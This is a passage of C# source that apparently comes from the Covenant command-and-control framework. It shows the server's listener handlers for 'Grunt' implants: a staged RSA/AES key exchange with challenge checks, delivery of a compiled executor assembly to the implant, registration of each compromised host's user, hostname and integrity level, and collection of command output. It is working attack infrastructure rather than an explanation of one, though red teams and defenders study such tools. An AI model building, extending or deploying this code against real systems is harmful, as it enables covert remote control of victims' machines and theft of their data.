// post task private async Task <ActionResult> PostTask(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage outputMessage, string guid) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt == null || egressGrunt.Guid != guid) { // Invalid GUID. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; if (string.IsNullOrWhiteSpace(TaskName)) { // Invalid task response. This happens on post-register write return(NotFound()); } GruntTasking gruntTasking; try { gruntTasking = await _client.ApiGruntsTaskingsByTaskingnameGetAsync(TaskName); } catch (HttpOperationException) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, outputMessage)); gruntTasking.GruntCommand.CommandOutput = new CommandOutput { Id = 0, GruntCommandId = gruntTasking.GruntCommandId, Output = taskOutput }; gruntTasking.GruntCommand.CommandOutputId = 0; gruntTasking.Status = GruntTaskingStatus.Completed; gruntTasking.CompletionTime = DateTime.UtcNow; gruntTasking.GruntCommand = await _client.ApiCommandsPutAsync(gruntTasking.GruntCommand); await _client.ApiTaskingsPutAsync(gruntTasking); targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); return(Ok()); }
private async Task <ActionResult> RegisterGrunt(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntMessage) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } string message = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, gruntMessage)); // todo: try/catch on deserialize? Grunt grunt = JsonConvert.DeserializeObject <Grunt>(message); targetGrunt.IpAddress = grunt.IpAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = GruntStatus.Active; targetGrunt.Integrity = grunt.Integrity; targetGrunt.Process = grunt.Process; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); GruntTaskingMessage tasking = new GruntTaskingMessage { Message = targetGrunt.Guid, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = GruntTaskingType.Jobs, Token = false }; ModelUtilities.GruntEncryptedMessage responseMessage; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); return(Ok(response)); }
public async Task <ActionResult> PostStage2(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage2Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } byte[] challenge2test = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage2Response); if (targetGrunt.GruntChallenge != Convert.ToBase64String(challenge2test)) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } targetGrunt.Status = GruntStatus.Stage2; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); ImplantTemplate template = await this._client.ApiImplanttemplatesGruntByIdGetAsync(targetGrunt.Id ?? default); string GruntExecutorAssembly = this._utilities.ListenerCompileGruntExecutorCode(_context.HttpListener.First(), targetGrunt, _context.HttpProfile.First(), template); ModelUtilities.GruntEncryptedMessage message; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly)); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)" return(Ok(response)); }
private async Task <ActionResult> PostStage1(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage1Response) { if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } if (egressGrunt == null) { egressGrunt = targetGrunt; } byte[] challenge1 = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage1Response); byte[] challenge2 = new byte[4]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(challenge2); } // Save challenge to compare on response targetGrunt.GruntChallenge = Convert.ToBase64String(challenge2); targetGrunt.Status = GruntStatus.Stage1; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); ModelUtilities.GruntEncryptedMessage message; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray()); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)" return(Ok(response)); }
private async Task <ActionResult> PostStage0(Grunt egressGrunt, Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info return(NotFound()); } bool egressGruntExists = egressGrunt != null; string guid = gruntStage0Response.GUID.Substring(10); if (targetGrunt.Status != GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized Grunt tempModel = new Grunt { Id = 0, Name = Utilities.CreateShortGuid(), Guid = guid, OriginalServerGuid = Utilities.CreateShortGuid(), Status = GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, Listener = targetGrunt.Listener, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, CommType = targetGrunt.CommType, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; targetGrunt = await _client.ApiGruntsPostAsync(tempModel); } else { targetGrunt.Status = GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; targetGrunt = await _client.ApiGruntsPutAsync(targetGrunt); } if (!egressGruntExists) { egressGrunt = targetGrunt; } // EncryptedMessage is the RSA Public Key targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key Aes newAesKey = Aes.Create(); newAesKey.GenerateKey(); targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); await _client.ApiGruntsPutAsync(targetGrunt); if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <GruntTasking> taskings = _client.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { return(NotFound()); } GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion); targetGrunt.Hostname = tmessage.Message.Split(",")[0]; await _client.ApiGruntsPutAsync(targetGrunt); connectTasking.Status = GruntTaskingStatus.Completed; await _client.ApiTaskingsPutAsync(connectTasking); } byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes); } catch (HttpOperationException) { return(NotFound()); } // Transform response string transformed = this._utilities.ProfileTransform(_context.HttpProfile.First(), Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(_context.HttpProfile.First().HttpPostResponse, transformed); // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" return(Ok(response)); }